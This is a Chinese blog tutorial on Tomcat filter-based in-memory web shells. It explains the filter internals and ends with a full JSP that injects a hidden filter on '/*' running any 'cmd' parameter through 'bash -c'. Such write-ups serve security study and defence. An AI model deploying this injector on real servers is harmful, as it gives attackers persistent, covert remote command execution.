首页 > 系统相关 >内存马

内存马

时间:2022-12-05 21:35:15浏览次数:68  
标签:filter FilterConfig Filter 内存 https StandardContext com

Tomcat-filter内存马

filter初始化

FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息

FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息

FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern

FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter

WebXml:存放 web.xml 中内容的类

ContextConfig:Web应用的上下文配置类

StandardContext:Context接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper

StandardWrapperValve:一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet

配置 -> WebXml对象

web.xml或者是这种注解 @WebFilter(filterName = "MyFilter", urlPatterns = "/*")的解析函数在此类中D:\tomcat9.0.69\lib\catalina.jar!org.apache.catalina.startup.ContextConfig,并把相应配置转化成WebXml对象中的数据

注解方式的解析详看此链接:https://xz.aliyun.com/t/10196#toc-1

web.xml的解析暂且挖坑

WebXml对象 -> context对象

再次使用ContextConfig类调用configureContext函数解析 WebXml对象

image-20221203172027663

image-20221203172820290

接着是org.apache.catalina.core.StandardContext#filterStart将filterDef以ApplicationFilterConfig的形式存在,并且将其放到了filterConfig中

image-20221203190623930

Ar3h 师傅的总结

通过web.xml配置和WebFilter注解的方式,把filter所有信息都封装成filterDef、filterMap这两个对象,然后最终都存放到了StandardContext类型对象的filterDefs变量和filterMaps变量中。

这里就产生了一个思路,只要我们获取到StandardContext这个上下文对象,把我们的filter包装成filterDef、filterMap对象,然后通过函数或者反射方式加到StandardContext的两个变量中,就相当于走完以上所有的流程配置了filter。

有HTTP请求时filter状态

  • 注意:每次HTTP请求都会创建一个filter链(FilterChain)

当我们发起一个请求后,D:\tomcat9.0.69\lib\catalina.jar!\org\apache\catalina\core\StandardWrapperValve.class中的invoke函数中会创建一个FilterChain

image-20221203225243360

此后的过程看 天下大木头师傅的文章:http://wjlshare.com/archives/1529

天下大木头师傅的总结:

  1. 根据请求的 URL 从 FilterMaps 中找出与之 URL 对应的 Filter 名称
  2. 根据 Filter 名称去 FilterConfigs 中寻找对应名称的 FilterConfig
  3. 找到对应的 FilterConfig 之后添加到 FilterChain中,并且返回 FilterChain
  4. filterChain 中调用 internalDoFilter 遍历获取 chain 中的 FilterConfig ,然后从 FilterConfig 中获取 Filter,然后调用 Filter 的 doFilter 方法

Filter型内存马注入

获取context

参考文章:https://xz.aliyun.com/t/9914

能直接获取 request 的时候

将我们的 ServletContext 转为 StandardContext 从而获取 context

ps:当 Web 容器启动的时候会为每个 Web 应用都创建一个 ServletContext 对象,代表当前 Web 应用

ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
// ApplicationContext 为 ServletContext 的实现类
ApplicationContext applicationContext = (ApplicationContext)appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
// 这样我们就获取到了 context 
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

从线程中获取StandardContext

https://zhuanlan.zhihu.com/p/114625962

从MBean中获取

https://scriptboy.cn/p/tomcat-filter-inject/

注入内存马

  1. 创建一个恶意 Filter
  2. 利用 FilterDef 对 Filter 进行一个封装
  3. 将 FilterDef 添加到 FilterDefs 和 FilterConfig
  4. 创建 FilterMap ,将我们的 Filter 和 urlpattern 相对应,存放到 filterMaps中(由于 Filter 生效会有一个先后顺序,所以我们一般都是放在最前面,让我们的 Filter 最先触发)
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
    final String name = "KpLi0rn";
    ServletContext servletContext = request.getSession().getServletContext();
	
	// 获取context
    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
	
	// 获取filterConfigs数组
    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);

    if (filterConfigs.get(name) == null){  //判断是否重名
        
        // 不重名的情况下,创建一个恶意的过滤器对象
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                if (req.getParameter("cmd") != null){
                    byte[] bytes = new byte[1024];
                    Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
                    int len = process.getInputStream().read(bytes);
                    servletResponse.getWriter().write(new String(bytes,0,len));
                    process.destroy();
                    return;
                }
                filterChain.doFilter(servletRequest,servletResponse);
            }

            @Override
            public void destroy() {

            }

        };

		
        // 创建一个 FilterDef并把name和刚创建的恶意过滤器传参
        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());
        /**
         * 将filterDef添加到filterDefs中
         */
        standardContext.addFilterDef(filterDef);
		
        // 创建一个FilterMap对象
        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");           	// 这是为了匹配所有请求
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());
		
        // 把构造的恶意FilterMap对象放在最前面
        standardContext.addFilterMapBefore(filterMap);
	
        // 反射构造恶意的ApplicationFilterConfig对象
        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

        // 添加恶意的ApplicationFilterConfig
        filterConfigs.put(name,filterConfig);
        out.print("Inject Success !");
    }
%>

标签:filter,FilterConfig,Filter,内存,https,StandardContext,com
From: https://www.cnblogs.com/W3-w/p/16953593.html

相关文章

  • android开发内存泄漏分析步骤总结
    思路:复现泄漏步骤,dumphprof文件,用MAT工具分析大对象的引用链。操作步骤:1、adbshell进入Android系统2、amdumpheap[进程名]/data/local/tmp/temp.hprof3、另起......
  • [笔记]java分析内存
    分析内存1.jmap_dump2.下载地址https://www.ej-technologies.com/download/jprofiler/files2.1JVM启动参数-XX:+HeapDumpOnOutOfMemoryError-XX:HeapDumpPath=D:\heap......
  • 可用内存计算
    直接给出⼤家5.x6.x的真实内存使⽤率公式即可从应⽤用程序的⻆角度来说,Linux实际可⽤用内存=系统freememory+buffers+cached。使⽤率=实际可⽤内存/总内存  ......
  • 动态内存函数
    malloc1开辟成功,返回一个指针2开辟失败,返回NULL3返回值是void*,需要强制转换4size为0未定义。intmain(){//向内存申请10个整形空间int*p=(int*)malloc(sizeof(int));......
  • 【C语言】指针Ⅰ--- 概念、前言、内存、地址与指针。
    ......
  • 12.C++内存管理
    在C语言的学习中我们已经接触过内存管理,那么C++与C语言之间又有什么不同和相同的地方呢?C++内存分布intglobalVar=1;staticintstaticGlobalVar=1;voidTest(){......
  • 16.【C语言进阶】动态内存管理
    为什么存在动态内存分配栈区上的内存开辟intval=20;//在栈空间上开辟四个字节chararr[10]={0};//在栈空间上开辟10个字节的连续空间这样直接在函数体中开辟内存......
  • 【博学谷学习记录】超强总结,用心分享|Java基础分享-计算机内存管理
    目录 一、前言二、冯·诺伊曼结构1、早期计算机结构2、理论提出3、五大部件三、存储器1、存储器的种类2、摩尔定律3、存储层次4、关于内存分层的思考四、内存......
  • sqlserver最大内存太小导致连接不上
    当修改了sqlserver最大内存过小时会导致程序连接不上数据库,最小内存的大小不定,可能跟数据库版本和开启服务有关系,建议1000m.解决该问题的思路是:数据库最大内存过小时,sqlse......
  • delphi D11编程语言手册 学习笔记(P344-419) 接口/类操作/对象与内存
      这本书可以在Delphi研习社②群256456744的群文件里找到.书名:Delphi11AlexandriaEdition.pdfP344接口与类相比,接口侧重于封装,并提供与类之间一种比......